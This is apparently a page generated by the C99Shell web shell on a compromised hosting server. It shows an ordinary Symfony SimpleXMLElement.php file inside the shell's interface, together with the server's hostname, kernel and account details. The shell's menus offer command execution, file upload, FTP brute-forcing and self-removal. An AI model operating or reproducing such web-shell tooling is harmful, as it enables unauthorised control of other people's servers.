!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php54/usr/share/pear/Symfony/Component/DependencyInjection/   drwxr-xr-x
Free 293.84 GB of 429.69 GB (68.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     SimpleXMLElement.php (3.32 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\DependencyInjection;

use 
Symfony\Component\Config\Util\XmlUtils;
use 
Symfony\Component\ExpressionLanguage\Expression;

/**
 * SimpleXMLElement class.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 */
class SimpleXMLElement extends \SimpleXMLElement
{
    
/**
     * Converts an attribute as a PHP type.
     *
     * @param string $name
     *
     * @return mixed
     */
    
public function getAttributeAsPhp($name)
    {
        return 
self::phpize($this[$name]);
    }

    
/**
     * Returns arguments as valid PHP types.
     *
     * @param string  $name
     * @param Boolean $lowercase
     *
     * @return mixed
     */
    
public function getArgumentsAsPhp($name$lowercase true)
    {
        
$arguments = array();
        foreach (
$this->$name as $arg) {
            if (isset(
$arg['name'])) {
                
$arg['key'] = (string) $arg['name'];
            }
            
$key = isset($arg['key']) ? (string) $arg['key'] : (!$arguments max(array_keys($arguments)) + 1);

            
// parameter keys are case insensitive
            
if ('parameter' == $name && $lowercase) {
                
$key strtolower($key);
            }

            
// this is used by DefinitionDecorator to overwrite a specific
            // argument of the parent definition
            
if (isset($arg['index'])) {
                
$key 'index_'.$arg['index'];
            }

            switch (
$arg['type']) {
                case 
'service':
                    
$invalidBehavior ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE;
                    if (isset(
$arg['on-invalid']) && 'ignore' == $arg['on-invalid']) {
                        
$invalidBehavior ContainerInterface::IGNORE_ON_INVALID_REFERENCE;
                    } elseif (isset(
$arg['on-invalid']) && 'null' == $arg['on-invalid']) {
                        
$invalidBehavior ContainerInterface::NULL_ON_INVALID_REFERENCE;
                    }

                    if (isset(
$arg['strict'])) {
                        
$strict self::phpize($arg['strict']);
                    } else {
                        
$strict true;
                    }

                    
$arguments[$key] = new Reference((string) $arg['id'], $invalidBehavior$strict);
                    break;
                case 
'expression':
                    
$arguments[$key] = new Expression((string) $arg);
                    break;
                case 
'collection':
                    
$arguments[$key] = $arg->getArgumentsAsPhp($namefalse);
                    break;
                case 
'string':
                    
$arguments[$key] = (string) $arg;
                    break;
                case 
'constant':
                    
$arguments[$key] = constant((string) $arg);
                    break;
                default:
                    
$arguments[$key] = self::phpize($arg);
            }
        }

        return 
$arguments;
    }

    
/**
     * Converts an xml value to a PHP type.
     *
     * @param mixed $value
     *
     * @return mixed
     */
    
public static function phpize($value)
    {
        return 
XmlUtils::phpize($value);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0035 ]--